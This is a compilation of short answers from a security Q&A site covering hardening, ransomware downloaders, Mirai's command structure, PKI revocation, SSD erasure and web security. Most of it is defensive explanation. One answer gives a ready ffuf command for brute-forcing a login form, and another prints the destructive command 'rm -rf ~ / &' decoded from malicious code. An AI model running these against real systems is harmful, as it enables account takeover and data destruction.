Forefront Identity Management Server Hardening

I haven't seen such a document before.
FIM uses security groups for controlling access to the synchronisation engine and sets for the FIM service.
My suggestion is to use AD security groups for the synchronisation engine that way you can utilize AD auditing to monitor the security groups.

By default the FIM service uses a least privilege approach and you can monitor request history which will highlight set membership changes and successful / rejected requests.

Apart from this FIM is deployed on Windows server, Sharepoint (wss / foundation ) and SQL server, so be sure to harden these components as well.


How can I tell if my client has been infected with CryptoWall?

The file in question does not exist (404).
What the code does, is downloading the rep.jpg file as 83152553.exe.

The code is equvalient with right-clicking on the link (http://.../rep.jpg), save as, save on harddrive, and then renaming rep.jpg to 83152553.exe , and then possibility executing the file.

The reason its a JPG file is to circumvent upload restrictions on websites that only permits uploading certain file types. By renaming 83152553.exe to something.jpg (and renaming it back when the exploit downloads the payload), the malicious user can upload the file to for example a image hosting website.

Since the file is taken down, I cannot answer your question about if its Cryptowall or not. This is a simple payload downloading script that downloads a arbitary payload from a website, the payload can be anything, Everything from a custom made keylogger to a simple network spreading worm, to a randomware. Just anything. Only way to surely know is to upload the rep.jpg/83152553.exe file to Virustotal if you still have the file.


Can a process be DoSed by interfering with its compare-exchange loops?

Most interesting question.

In theory, such an attack would be possible if we were to make CAS (compare-and-swap) intentionally always fail.

For that to happen (from a hardware perspective), the underlying hardware should allow all competing threads to fail, which it normally should not, because a CAS that could fail for all threads could lead to live-lock situations (and non-deterministic behavior).

Furthermore, techniques such as exponential back-off (like in the case of the Ethernet protocol) should be used before retrying CAS.

From a software perspective, if not sure of the hardware behind, one can make sure to use things such AtomicX.compareAndSet (JAVA SE 7,8) instead of AtomicX.weakCompareAndSet, which practically makes sure simultaneous fails of all threads is excluded.

As example, win32 implementation is safe:

   void LockFreeQueue::push(Node* newHead)
{
    for (;;)
    {
        // Copy shared var  to local.
        Node* oldHead = m_Head;

        // Do some work, not yet visible to other threads.
        newHead->next = oldHead;

        // Attempt to publish changes to the shared variable.
        // If the shared var hasn't changed, the CAS succeeds and we return.
        // Otherwise, repeat.
        if (_InterlockedCompareExchange(&m_Head, newHead, oldHead) == oldHead)
            return;
    }
}

The above is loop free because if the test fails for one thread, it means it must have succeeded for another.


How to address application database compromise

Based on your description, certainly there are multiple serious application security issues.

  Based on this scenario, is this a database, application or system security issue and why?

However, that does not rule out other issues. For example, the new users have not been detected until migration started, so there is a "security monitoring" (a subset of System Security) issue. Similarly, new DB users have not also been detected, and that could (depending on your processes) be within the scope of Database Security.

  What are the logs that the company can review during the investigation?

Depends on what logs are enabled for the systems as well as for the application. It seems you are using Windows servers, so there is a high likelihood that you will have copious event logs from windows systems both for user activity as well as database activity. Similarly, webserver access logs would also be available (irrespective of the OS).

I always recommend application logging (though not all app-level logging is done with security in mind) - and if done correctly they are extremely valuable when the compromise is done via application vulnerabilities.

Your investigation will have management objectives. What logs you review will need to be aligned to them. e.g., if the objectives do not include discovery of initial attack vector, you may be able to ignore application logs. If the objectives do not include preserving evidence to pursue with law-enforcement, you may want to limit the time you spend investigating disk artifacts (especially if you can restore the clean application from version control).


Ok, well there's tonnes of stuff on Owasp so I'd strongly encourage you to explore their site more. Maybe one of their chapters is close to you, you could attend one of them as they're free.

Here's a few good threads from this forum that have tonnes of information -

Explain XSS to an idiot
What is a Web Application Firewall -> there's links here to ModSecurity, which has many good articles and blogs
Beginners materials for web security
I want to be a web security consultant

I'd also consider installing things like vulnerable web applications like Webgoat and DVWA to learn from them.

There's loads of excellent informatin and cheatsheets here but sadly RSnake doesn't post any more.

Sans have an appsec blog here also.

Finally and by no means least, I'd have a long look at the Secure Development stuff from @securityninja.

That should be enough to get started.


Got a warning message - remote authentication changed. Should I be worried?

See https://help.github.com/en/github/authenticating-to-github/testing-your-ssh-connection for the expected host fingerprint.

I used ssh -v -T git@github.com to see the host key my ssh client verified, and it was nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8 which is listed on their page, so the connection is not MiTM'd.

I don't know why it happened. I guess a change in your ssh client (or their ssh server) switched from using one host key to another, for example because the host key algorithm was deprecated.


SIEM: Monitoring End Users and DHCP IP assigning issue

Some SIEM tools give you the ability to run scripts immediately upon alert creation, therefore you could do an nslookup real-time as the alert fired and store the host name in the SIEM.

Some SIEM tools also have an asset management feature that tries to keep track of this information for you.

Otherwise you can manually search in the SIEM by filtering on that source ip during the hour or so before and after the event and look for other events around that time that may indicate the host name such as Windows authentication that have a source workstation field , or antivirus logs that have a hostname field or dhcp lease logs as you indicated.

Or if your analysts are working alerts real-time , then nslookup the ip immediately as the alert comes in.


System for Mutual authenticaion and confidentiality

There are two ways to achieve mutual authentication within SSL/TLS:

Use certificates. The server presents his public key within a certificate, as is customary; the client validates the server certificate with regards to some root CA that the client knows beforehand (this part is what commonly occurs with HTTPS Web sites). Then the server can ask for a client certificate, in which case the client must send a certificate and perform a signature, which the server will verify using the public key in the client certificate. The client is then authenticated under whichever "name" is written in this certificate. This is described in sections 7.4.6 and 7.4.8 of the TLS standard.
Use SRP. This is a Password Authenticated Key Exchange protocol in which the client and the server mutually authenticate through the knowledge of a shared secret. What is mightily cool about PAKE in general, and SRP in particular, is that the scheme is strong even when the shared secret is of low entropy (say, this is a "password"), because it resists attempts at offline dictionary attacks: in simple words, the protocol is such that if an attacker wants to "try" a potential password, he must interact with either the server or the client in some way, and must do so for every single try. The attacker never gains enough information to check passwords on his own machines only.

SRP avoids all the murky business of certificates. Unfortunately, SRP is not yet widely supported; GnuTLS is an opensource library which implements SSL/TLS servers and clients, and supports SRP.


Mirai uses a fairly standard Command and Control structure - the only real difference being that the code for the C&C was made public early on, so it can be updated and reused easily.
This ars technica article on Mirai outlines one of the strengths of Mirai's C&C:

The simplicity of Mirai's C&C structure makes scaling it up relatively simple. "One of the things we noticed during the Dyn attack was that the C&C domain would change its address," Nixon explained. "That way, the C&C network could segment its botnet." By simply changing a DNS entry, the attacker could use the same domain to create and operate multiple separate botnets simultaneously.
When a Mirai bot is created, it sends a request to the Domain Name Service for the "A" address of a domain configured by its creator. Once it has the Internet address associated with that "A" address, it locks onto that IP address. "When one C&C server fills up, [the botnet operator] can just change the IP address associated with that 'A' name," Nixon explained. New bots will connect to the new address while older bots continue to communicate with the previously labeled server.
While this scheme can cause problems with resiliency of the botnet—if a C&C server gets identified and its traffic is shut down, the bots fail—it's not a big problem for the botnet long-term. The botnet can easily be re-established from another server by simply re-discovering vulnerable devices.


Why does OWASP suggest using POST over PUT for file uploads?

TL;DR: PUT is not supported by a good deal of things.  Sometimes it is only available as an extension, and enabling extensions increase your attack surface.

@iain is correct in comment that the SO question PUT vs POST in REST is relevant here.  From the RESTfulness point of view PUT is fine for updating or even overwriting a file.

Yet, if you argue from the security standpoint the original HTML forms never did support PUT, only GET and POST.  A lot of info about this can be found on Are the PUT, DELETE, HEAD, etc methods available in most web browsers?, although some info there is obsolete and some links are dead.  So I'll summarize it here:

HTML

AJAX supports GET, POST, PUT and even DELETE.  But the common form in a browser doesn't.  HTML5 did add support to PUT and DELETE in its drafts versions, but neither PUT or DELETE can be found in the current definition of HTML5 infrastructure.  In other words, browsers have no obligation to understand <form method="PUT"> to conform to HTML5.

Webservers

Both Apache and Nginx use PUT and DELETE as WebDAV extensions.  If you want to harden your webserver one thing you often do is to compile it without the WebDAV extensions.  Adding extensions is increasing attack surface.

We frameworks on the other hand often do not support PUT.  Or, more commonly, simply use the same function to process POST and PUT, making the use of the PUT verb really the same as POST.

So yeah, the OWASP guideline makes some sense.  Although I would rewrite it as: "If you are implementing full REST use PUT, if you aren't use POST because it is more widely supported".


Does Java anti-decompiler software really work as claimed?

No, these do not work in the way claimed. They do not and cannot prevent reverse engineering and decompiling. The most they can possibly do is obfuscate Java to make it more difficult to understand, but it will still always be possible to analyze manually. Any software that claims it prevents "all other existing hacker attacks" is snake oil, pure and simple. If code is running on someone's computer, they can see anything the code does, did, could do, and will do, and can influence it for testing at will.
See Link and Link, which mention techniques and tools used for obfuscating Java, and why it is often futile (or actively harmful) to do so for security or intellectual property reasons. If you absolutely want to obfuscate your Java in spite of the answers here, you should at least use a less sketchy product. The ProGuard software mentioned in the linked answer is free and open source.


I'll suggest an answer to my own question. Perhaps I'm essentially helping to define a term that has been introduced elsewhere. If we take the definition of 'hardening' in security as:

  hardening is any one of a variety of measures taken to make it more
  difficult for an intruder to circumvent the authentication process

Then 'key hardening' is any action with the intent of making it more difficult to act against the cryptographic hash function by introducing a cryptographic key that is used with the hash function. The standard means for doing this is using an HMAC
https://en.wikipedia.org/wiki/Hash-based_message_authentication_code


Can you recommend a good book on Backtrack/Metasploit?

To be very honest, I feel that most of the books out there on Metasploit are outdated, as it gets updated very often.

To learn more about the two, I would first download Metasploitable. This is an old configuration of Ubuntu with security holes for learning purposes.

The Metasploit and Backtrack FAQs are good places to start. Learn what each tool does, Backtrack consist of hundreds of tools, most of them you will probably never use. Take a look at your situation, and find the appropriate tool to use. Google is your good friend here.

Metasploit is simply an exploitation framework. The beauty of it is the ability to combine different exploits with different payloads to adapt to different situations. Metepreter is also an incredibly powerful shell to perform privilege escalation and other attacks from once you gained access.

Once you cracked Metasploitable, there are many other vulnerable VMs to exploit, here is a link to a question i had asked which has suggestions for many good practice boxes.

The key to understanding Backtrack and Metasploit is simply using it and getting familiar with the commands. Basic understanding of linux is of course needed, as many of the task in Backtrack are performed using the command line interface.

If you really want a book - this is highly recommended by others, although i have never actually read it.

I do not however, recommend installing the repositories on another OS unless it is really necessary. Why not use something that just works? Backtrack's theme is very cool to boot.


You do not need to delete a new SSD before enabling encryption. Deleting is only relevant in case there already is sensitive data on the drive. If you enable encryption before writing any data to the SSD, there will never be any unencrypted data on the SSD that you need to delete.

If the SSD was used before, but the data on it is not sensitive, then you can just format the SSD. There is no need to delete the SSD securely, if you don't care about the unencrypted data on it.

If there is sensitive data on the SSD that you want to securely delete, then this answer explains why it is not safe. Generally, if you want to be completely secure, set up a new encrypted SSD, transfer the data and then physically destroy the old, unencrypted SSD. There is no 100% way of wiping the whole SSD, only probabilistic attempts that would wear out your SSD anyway.


Can a webpage read another page's cookies?

This is defended against using the same origin policy, which generally prevents one site reading anothers cookies.
When you see behaviour where adverts seem to know where you've been it's likely due to 3rd party ad tracking cookies.
So as a simplified example if you go to site A which uses an ad network, that ad network can record that you were on that site by placing a tracking cookie on your PC.
Then when you go to Site B which uses the same ad network, the ad network reads the cookie that was set when you were on Site A (which it can do 'cause it's loading content from it's domains in both cases so it doesn't break same origin) and can then offer you adverts based on your browsing habits.


How was Google recaptcha v2 bypassed several times?

Why reverse engineering the code when you can make it work for you?

It would be sufficient to interact with the rendered web page. For example you could develop a browser extension that waits for the web page to be rendered, downloads the challenge (in this case it was the audio), cracks it (in this case it was slightly obfuscated and sent back to google's own speech recognition engine), inserts the solution in the answer field and finally emulates a mouse click that launches Google's JavaScript to compute the final token.

Source: Bleeping Computer

p.s. Google's ReCAPTCHA is not very privacy friendly, I suggest to use something else.


What happens when an Intermediate CA is revoked?

Must/should I fetch all CRLs of the complete chain to check the certificates validity?

Absolutely.  A CA builds a CRL only for the certificates it issues.  Status of the CA itself must be checked via the CRL of the issuing CA.  Note:  This is a recursive search. When writing code, or testing systems, remember that there can be more than one "generation" of issuing CAs and check all certificates except the self signed root.  A root CA will not have an associated CRL - if the root is compromised, that root must be manually removed from any trust stores.

What should I do when an Intermediate CA is revoked?

Do not trust anything signed by the CA.  A certificate is only as good as the CA that issued it.  If the CA is becomes untrustworthy, the certificates issued by that CA are no longer trustworthy.

Do not expect to get a CRL from the revoked CA saying that all certificates issued by the CA are not valid.  If the CA is active, this will create a prohibitively large CRL that will be extremely painful to transport, parse, and generally do anything with.  Also - if the CA's key has been lost - it may not be possible to create this CRL.

In practice, the smart thing would be to remove the CA from any trust stores.  Removing the CA from trust stores will cause any application that builds it's CA chain from trust stores to fail the certificate verification quickly.  Building the certificate chain is usually done prior to any OCSP/CRL checking, so you save your application from extra steps and potentially bandwidth by trimming the revoked CA from your stores.

An intermediate CA being revoked is also a fairly major event - honestly, I've never experienced it in the real world.  If I was working on a highly secure system, I'd also publish as far and wide as I could that the CA was revoked.  Particularly any systems that may be working off CRLs that are cached for a long time.

And if I held certificates signed by this CA, I'd start formulating my re-certification strategy ASAP.

Will all it's certificates be added to the CRL as well?

No.  Note, there are two different CRLs in play:
- the issuing CA's CA (either a root CA or another CA in the chain) - issues a CRL which verifies the status of the issuing CA's cert
- the issuing CA - issues a CRL which verifies the status of the certs this CA has issued.

If you have a CA chain that is n certificates from root to end entity, you will have n-1 CRLs involved.

Can the certificate be replaced by a new (uncompromised) version?

Yes... sort of.  The compromise reflects the untrustworthiness of the private key of the CA.  The CA will need a new private key, which essentially makes it a new CA.

It is, technically, possible to rename the CA with the same Distinguished Name - if there is an operational value to that.  But in practice, my temptation would be to standup a new CA, with a new DN, just so that all humans were clear on the difference.

This will be a major pain in the rear end.  The users of the new CA will need to:
- remove the compromised cert, and replace it with the new CA cert
- recertify all End Entity certificates with certificates that are signed by the new CA.

Note that it's a matter of security policy as whether you recertify or rekey your end entities.  If the compromised system did not have access to the private keys of any end-entities, you can re-sign the same private key with a new CA key.  If you kept a store of certificate requests on file, you could resubmit them to the new CA and save yourself a whole bunch of key generation.

However, in some cases, the CA system may put some private keys in escrow - this means that in some central location (usually near the CA system), the private keys are stored securely in case the users loose their keys and need an update.  This is particularly prevalent in the case of encryption certificates, since you may need to retrieve encrypted data even after an encryption key has been revoked.

In these cases, if the CA is compromised, there's a decent chance the key escrow has been compromised.  That means that all users of keys in the escrows should generate new key pairs and request a new certificate.

Past that - its a matter of policy as to whether re-certification is allowed.  Since a new certificate will have a new validity period, it may be that the security powers that be say "no renew/recertification" because they can't limit the validity period sufficiently.


is there a workaround for CVE-2015-2625?

You ask for a workaround for "Unspecified vulnerability...allows remote attackers to affect confidentiality via vectors related to JSSE". Since the only information you find in this sentence is that it is somehow related to JSSE you are maybe safe if your application is not using JSSE.

Apart from that there were lots of critical fixes in Java and JDK6 is out of public updates since 02/2013. If you really depend on this version you might need to buy Premier Support from Oracle (ends 12/2015) or even extended support (ends 12/2018).


How to implement a "Remember me" on a mobile app?

I like symcbean's suggestion of creating a random mapped value on login that is related to the account separately from the username and password. To answer your question specifically, though, there are also ways of encrypting the data without a static mapped key. I'd look at generating a key using bits of information unique to the phone and retrievable via OS API calls.

Edit: At the behest of @D.W., I'll elaborate: The UDID, serial number, and other identifying information may be of sufficient cryptographic quality and secrecy without access to the phone to prevent decryption of the stored data. However, access to the stored data implies likely access to the phone as well. Thus, any level of security through device-local encryption is simple obscurity.

Other respondents have suggested storing a random value as is done in HTTP sessions. It seems the original asker isn't using HTTP and doesn't believe that this method applies to his software. However, the logical implementation of storing and transmitting a random value is applicable to any transport protocol. I strongly suggest it.

Alternately, credentials can be stored on the phone using public key encryption. The application can encrypt the username and password upon entry with the server's public key. The login data would thus be unreadable even if the device were compromised.

Where the goal is to prevent retrieval of login credentials, I feel the use of a random temporal identifier is best. This precludes any issues of keeping server data (a private key) secret and available. If that key were disclosed, the protection is marginal to useless. If it is lost, the app must be redeployed with new keying. If the temporal login data were lost, everybody would be forced to login, but it would not result in any appreciable interruption to service.

Also, do use public key encryption of the transport (SSL or simple PGP key embedded into the app) for both the initial login and any other possible authentication data whether it is the username and password or a random value.


The company that set this up, Norse, actually has honeypots (intentionally vulnerable networks) set up in various countries across the globe. By installing various pieces of software, looking at logs, etc., the people at Norse can determine the (apparent) IP of the attack. While I don't think that Norse is lying, as @Dmitry seems to, I do think that given the ease with which IPs can be faked, the map should not be considered reliable.

Source: http://www.engadget.com/2014/06/24/live-hacking-map/


Logging in to a VPS using ssh and ssh to another VPS using ssh. Does it improve the security of the second VPS?

By allowing SSH connections to the midpoint VPS from any source IP, then allowing SSH connections from the midpoint VPS to the target VPS, you are just moving the security hole from one location to another.  At best, this is 'security by obscurity'.

I would suggest you scrap the idea of the midpoint VPS, and try to harden security on the target VPS as much as possible.  First, you might be surprised that the IP address dynamically assigned to you by your ISP changes less frequently than you think.  The IP address assigned to me by my residential ISP provider (Comcast) has not changed in over a year.  So, allowing SSH connections only from your ISP-assigned IP address may be feasible.  If your IP changes, you can always access the console of your VPS via your VPS provider's web interface, and update that firewall rule with your new IP.

If your IP changes too frequently, and this gets to be a hassle, then you might want to use a dynamic DNS service, like DynDNS, which will create a hostname that will always point to your current IP address.  Then, you could create a cron job on your server to update the firewall rule automatically, when your IP changes.

Last but not least, you might want to disable password-based authentication, and only enable public key based authentication, on the SSH server.  I think if you do this, and only allow connections from your (current) IP, you should be able to sleep reasonably well.


Hydra http-post-form based on length of the response

I'm not sure if this is possible to do with Hydra, but I would recommend using ffuf for this.
You can do an HTTP-POST form bruteforce based on length like this:
ffuf -w /path/to/wordlist.txt -X POST -d "username=admin\&password=FUZZ" -u https://target/login.php -fl 480

-fl: tells it to filter out the length you don't want (failed attempt)
FUZZ: is where it will replace words from the wordlist in the request
Although in this approach the username would be static. A little bash scripting hack would solve that.


If I try to log into the wrong host with FTP do they now have my credentials?

Yes.  There are two risks.

Risk #1. The credentials are sent in the clear to whatever host you type.  If you mis-type the host, you've sent your credentials to some other host entirely, which is not so good.  The risk is probably fairly modest in the grand scheme of things, because odds are that most typos in the domain name will not resolve to any real host, but still, there is a risk there.

Risk #2. The credentials are sent in the clear.  Let me emphasize that again: in the clear.  Yup, that's right.  Your username and password is not encrypted.  This means that anyone who can eavesdrop on your traffic can capture your credentials, even if you type the hostname correctly.  This is bad, and is arguably much worse than Risk #1.

Sending username and password in the clear is not a good idea.  For this reason, you should not use FTP (except for anonymous FTP).  If you need to transfer files between hosts, I recommend using SSH, a network file system, or possibly connecting to a web site via HTTPS and downloading the file from there.


Getting automatically logged in to others session via Wi-Fi

Yes this can be possible. The website of the ISP automatically detects that you are connecting from a router of it's own network. It thinks that you are the owner of the router and automatically authenticates you as such (credentials are stored on the router).

I have seen this done before and it's just stupid design IMHO. Especially if this works from WiFi as well.


What is the meaning of 'Default to Zero' that must be keep in mind in Authorization?

It appears to be "default to zero privileges, unless proven otherwise".

E.g. writing code like:

access_flags = NONE
if password_match:
    access_flags.add(ACCESS_USER)

Instead of:

access_flags = ACCESS_ADMIN + ACCESS_USER
if not password_match:
    access_flags.remove(ACCESS_USER)

Reason being that it's easier to make (and exploit) mistakes in latter code. In the above example, latter code would still leave ADMIN privileges if passwords don't match.


Not shown: 997 filtered ports

Because the ports that are not shown are filtered and not closed, I would guess there is a host firewall blocking access to the other ports. Turn off Windows Firewall or allow access to the required ports and you will probably be able to see them.


What does this potentially malicious code do?

The hex gibberish you see is machine code.

Googling for that particular hex string reveals this wiki page.

According to the wiki, this actually runs:

rm -rf ~ / &

Yes, it's pretty harmful but it should be safe to run in a virtual machine, if you have a backup (or snapshot), under a non-privileged user, otherwise running it as a privileged user will erase your files


Should users be allowed to reset their password to the current one?

I think the application of restricting users to reuse passwords will largely depend on the application and their risk acceptance. "Best practices" of passwords is probably one of most divisive topics in Information Security which is likely why those cheat sheets don't make mention of it.

For organizations that have a password policy that requires users to change their password every X days, restricting the user from changing their password to something it's already been makes sense. The logic behind this is that requiring users to change their password on a regular basis reduces the chance that an old password, if compromised, could be used in a Password Replay attack.

With such a policy, a "Remembered Passwords" value is likely set. This policy will remember the previous users X number of passwords to ensure that they are complying with the password policy and not re-using old passwords. The reuse of old passwords would effectively render the password policy useless. It is in this instance you would want to force a user to set a new password if they're clicking the "forgotten password" option. Without forcing them to do so, a user could just use the "forgotten password" function in your application to ensure they can always have the same password, without being forced to change it to something new.

Taking it one step further, it is also common for there to be a password "freeze" time where users cannot change their password for X days after it was changed. This is to prevent people from quickly cycling through 3 changed passwords to be able to utilize the one they like. This way if the password a user like expires, they can't quickly change their password X times to get back to the one they like.

EDIT : Take of this what you will, but NIST has issued a guideline recommending against password policies requiring users to change their passwords.


selinux : blocking sudo and su usage by placing user into user_t profile

The message about selinux_use_ssh_chroot boolean is a diagnostic suggestion based on the generated AVC denial message. The exact denial is for setuid capability and the boolean in question would enable a rule allowing the operation, hence it was automatically suggested. Similarly an automatic suggesting for additional rule allowing access was generated when you attempted to use su. AVC denial messages are to be expected if you attempt to gain privileges as confined user.

However, your testing doesn't reflect how web server (apache or nginx) would behave in confined domain. By default, it should run in confined httpd_t domain. If there isn't a targeted policy in place, the service will run in unconfined domain, not in user_t.

If a confined web server is compromised, the attacker is still confined httpd_t domain and can't gain any new permissions that weren't originally allowed. There shouldn't be any rules allowing a process in httpd_t to  execute sudo/su. Even if the process should manage to chuid to root, without any transition rules to another domain the process would still stay in httpd_t and be restricted to the rules for httpd_t.


There is a definition problem here. If Alice and Bob are anonymous to each other, to whom is Alice sending her message ? There must be some kind of rendez-vous; otherwise, Alice is just sending her message to "anybody".

In Tor, putative Bob's, i.e. service providers, have a name which is what Alice sees and uses; that name is derived from a public key which Bob generated. Bob also publishes "introduction points" which are randomly chosen Tor relay nodes; Alice will contact Bob through one of these introduction points (and she will also do so through a sequence of relay nodes). From the outside, it can be tracked that a given service exists under some name, and that someone is contacting it, but the identities of both client and server (Alice and Bob) are hidden through the usual mechanism of relay nodes. The cornerstone of the protocol is that the service name is a hash of the public key of Bob; thus, messages from Alice cannot be intercepted (as long as Alice uses the same service name, she knows that only the owner of the corresponding private key will be able to read the messages). This rendez-vous protocol is specified there.

What Tor does not provide is a way for Alice to learn the target service name. This is out of scope of Tor (Tor is not a PKI). Common methods are publication of the service name as a ".onion" URL in a Web page of other mediums.


How serious are security concerns of wireless healthcare devices?

Consider this from the insulin pump story:

  in true hacker fashion, he has spent the last two years trying to hack it himself.

Given two years of dedicated effort, I suspect you could hack a whole lot of things.  Does that mean they are inherently unsafe or that we should take an alarmist approach?  I don't think so.  (btw, I'm not saying your question is an alarmist approach)

Any medical device must conduct a risk analysis.  Any risk analysis must take into account forseeable misuse.  In this day and age, network intrusion, viruses, etc. most assuredly falls under the category of forseeable, and will need to be mitigated.

I think the real question is how much mitigation is enough?  That can only be answered in the context of a particular device.


How does Logitech Options software automatically launch from a mouse dongle?

Nic Hartley mentioned drivers. Windows 10 automatically installs drivers for unknown devices as soon as they are plugged in. If Windows does not have the driver for the device, it silently downloads the drivers online. Event if Windows does have the drivers, it still checks online for an updated version.
So, my theory is: that Windows downloads and installs the necessary drivers from Logitech. The Logitech driver then shows the popup to install the software.

You can test this theory by plugging the dongle into a Windows 10 PC that is not connected to the Internet and does not have the Logitech drivers installed.

If the popup is still shown, then try disabling the Logitech drivers in Device Manager.

Also, try using a tool like Sysinternals Process Explorer to find the process that created the Window. More information.


From a security standpoint,  most locks are very easy to bypass.  The design for Pin-tumbler locks date back to 4000 BC in Egypt.  Although server locks are easy to purchase.   I am not aware of a "high security" locks for servers.

The BEST approach is to limit access to the data center.  If you cannot do that,  then move sensitive servers to the cloud.


The term you're looking for here is social engineering. This is an umbrella term that describes any attempt to get a person to perform a particular action - particularly one that benefits the social engineer over the victim.
Phishing is a specific type of social engineering that is generally used to mean tricking a user into giving away sensitive information, but the terminology is not so rigid that the average security professional would frown upon you using "phishing" to refer to tricking a user into installing ransomware.


Using FileVault on a Mac with existing data

It depends on how serious your potential adversary is. If they're just using normal data recovery tools, they won't be able to get at anything without breaking the encryption first. But because of the way SSDs write data, if they're really serious about it, an adversary could disassemble the SSD, bypass its flash translation layer, and get access to blocks that've been "overwritten" but not physically reused yet.

SSDs actually have more capacity than they expose to the outside world (i.e. the computer), and when you "overwrite" a block, it doesn't actually overwrite the physical storage, it puts the new data in a different physical location, updates its translation table so the outside world sees the new contents instead of the old, and adds the old physical block to a reserve that'll later get reused for some other logical block. See this AnandTech review for way more details (warning: the relevant bits are scattered through a very long review).

Because of this (especially the fact that the flash controller hides what it's doing), making sure that all old data is overwritten is really really hard. Researchers at the Non-Volatile Systems Lab at UCSD have tested various ways of sanitizing SSDs by "erasing" the drive, then disassembling it to bypass the controller, and checking for remnant data (summary, full paper). They're considering the problem of erasure without replacing the data with an encrypted version, but the basic problem is the same either way. And their results weren't pretty:

  Our results lead to three conclusions:
  First, built-in commands [ATA secure erase] are effective, but manufacturers
  sometimes implement them incorrectly. Second,
  overwriting the entire visible address space of an SSD
  twice is usually, but not always, sufficient to sanitize the
  drive. Third, none of the existing hard drive-oriented
  techniques for individual file sanitization are effective on
  SSDs.

If you're worried about someone going to that much trouble to get your data, there are a couple of options that might work:

Convert to FileVault, then create & delete a bunch of large files to force enough block reuse to fully drain all blocks containing old data out of the reserve. How much will this take? According to the NVSL's results, creating & deleting files equal to the capacity of the SSD should do it (the conversion to FileVault essentially overwrites 1x the drive capacity, so you need to bump this up to 2x).
Copy all of the data off (preferably to an encrypted drive, so we don't expand the problem), run an ATA secure erase on the SSD (essentially, tell its controller to overwrite all physical blocks), hope that the controller actually does this right (not all will), then encrypt and restore.

And one option that will work:

Replace the SSD, encrypt the replacement before copying data from your old SSD, then physically destroy the old SSD. And BTW I want complete physical destruction, not just breaking the controller board and leaving the storage chips intact; see this analysis from the NVSL people on how fine you need to grind it.

I realize none of these are particularly good options, but it's too late for the best option of all:

Never ever store sensitive data on an SSD in unencrypted form.


Pages seem to start loading a little later than they used to.

Treat this as latency, so review your ping. You can check your ping time against a server from the command line: Command Prompt (Windows), Terminal (OS X) and Linux, well too many for me to list off. Ping Google's public DNS server 8.8.8.8, as it is well documented, and has known response times. Via the Internet connection, I am currently connected to, a VDSL line my Speed Test result is:

Note the ping of 7ms via fdcservers.net. Below you will see ping results from Google's public DNS server 8.8.8.8.

safesploit$ ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=122 time=10.788 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=122 time=9.498 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=122 time=9.502 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=122 time=9.685 ms

Do give margin, but this is a good response time (6-12ms) for VDSL and hybrid fibre-coaxial.

  Is there any way to check whether there is some kind of MITM attack happening?

You can check if a MITM attack is being performed on your LAN by checking your ARP table. See Detecting man-in-the-middle attacks? as this is quite an involved topic, and it has already been answered. Outside your network, a Trace Route might be advisable, although it becomes particularly more difficult.

As suggested port 8080 might be blocked. You can either use NMap to port scan, connect using the Tor Browser bundle and specific for Tor to use port 8080 and see, or use OONI by Tor.


Is it true that AES-128 and AES-256 are Quantum resistant?

Not entirely.  Symmetric cryptosystems, including those using AES, are not completely broken by quantum computing, as far as we know.  However, Grover's algorithm does pose a significant threat:

  Grover's algorithm is a quantum algorithm that finds with high probability the unique input to a black box function that produces a particular output value, using just O(N^(1/2)) evaluations of the function, where N is the size of the function's domain.

This means that, given a known plaintext-ciphertext pair, we could determine an AES-128 key using about (2^128)^(1/2) = 2^64 steps.  In other words, AES-128 would be unusable.

There's a straightforward mitigation though: double the key size.  In a post-quantum world, AES-256 is still comfortably secure.

PGP and GPG are programs that use a variety of cryptographic algorithms.  All of their asymmetric operations use algorithms (such as RSA and ECDSA) that are vulnerable to quantum computing.  It's likely that they will be updated, at some point, to use quantum resistant asymmetric algorithms, but that has not yet occurred.


What to do for my Web API authentication scheme?

You need to separate authentication and authorization.

Authentication ensures that your web site knows that the incoming user is actually the one you have on file. In other words, once someone has registered as bob in your application, everyone claming that he is bob is checkd via authentication.

As you mention, you have several choices for authentication. You can offload the process on some well-known identity providers (Google, Facebook, LinkedIn, ...). They will make sure that someone coming in as Barack Obama has been authenticated as such on their side.

It is important to understand that you do not know whether Barack Obama logging to your site is indeed the US president. The only thing you know that someone registered as such on, say, Google and the same person will be consistently authenticated as such via Google.

You need to look up the identity management on the various sites you want to use (Google for instance). The keywords are OAuth and OpenID.

Now that you know that Barack Obama is coming in, you need to give him or her access to some things and not to others. This is the authorization part. It is completely dependent on your application.

What you will be basically coding is that a specific ID (which is ultimately the user logging in) can see some content. OWASP will help you to make it secure.

An advice: if you can completely offload authentication to someone you trust and your users will trust (typically the big players above), do it. Do not be Adobe.


Can Cryptolocker (Or Other Ransomware) Encrypt Files That Are Already Encrypted?

Yes they are still vulnerable. Encryption just transforms a sequence of bits into another sequence of bits (and assuming the encryption is good it will be computationally infeasible to reverse this process without knowledge of some secret). There's no reason why encryption can't be performed again on an already encrypted sequence of bits.

It's possible certain ransomware implementations might look for specific files that are likely to be of high value, and encrypting these files might make them more difficult to recognise. However, I would not depend on this as my primary control against the threat of ransomware.


You are correct in that UDP does not have a state like TCP has, so in a literal sense there is no session to hijack. However, because of this it is impossible to verify the identity of the sender of an UDP packet. All you have to go on is the sender IP in the UDP header, and that could trivially be spoofed. In that sense, it is easier to session hijack UDP than TCP or HTTP, since you do not have to worry about sequence numbers or session cookies.

So an attacker sniffing your network traffic could read the UDP packets you send to a server, and then send a response spoofed to look like it is from the server. Your computer will naively assume that the spoofed response is the real response if it arrives first, since there is no way to verify the identity of the sender.

Do note that you do not have to be able to modify the traffic, only sniff it, to do this. You could send your spoofed response from anywhere. But this could sometimes even be done without any sniffing - just send out UDP packets and hope it match something, or that a client will accept the response even though it has not sent a request.

So what could this be used for? For instance you can mess with two of the more common UDP protocols:

DNS: Send a false response to a DNS lookup, and you can fool the victim into resolving www.mybank.com into an IP you control, where you serve a phishing site. (This will not work if the site is then requested over HTTPS, since you will not be able to serve a valid certificate.)
NTP: Send false times to a client, thereby controlling its clock. This could for instance be used to "expire" a HSTS post (if time is moved forwards), or make and expired certificate valid (if time is moved backwards).


What parts of the javascript code can an XSS attack access?

XSS can access anything a script can.
Why? Because XSS injected scripts are indistinguishable from other scripts. If you keep a JWT in memory, XSS can access and exfiltrate it.
How can you protect your token?
Store it in a cookie with the HTTPOnly flag.


What all test cases/vulnerabilities we need to try in REST API Pen testing?

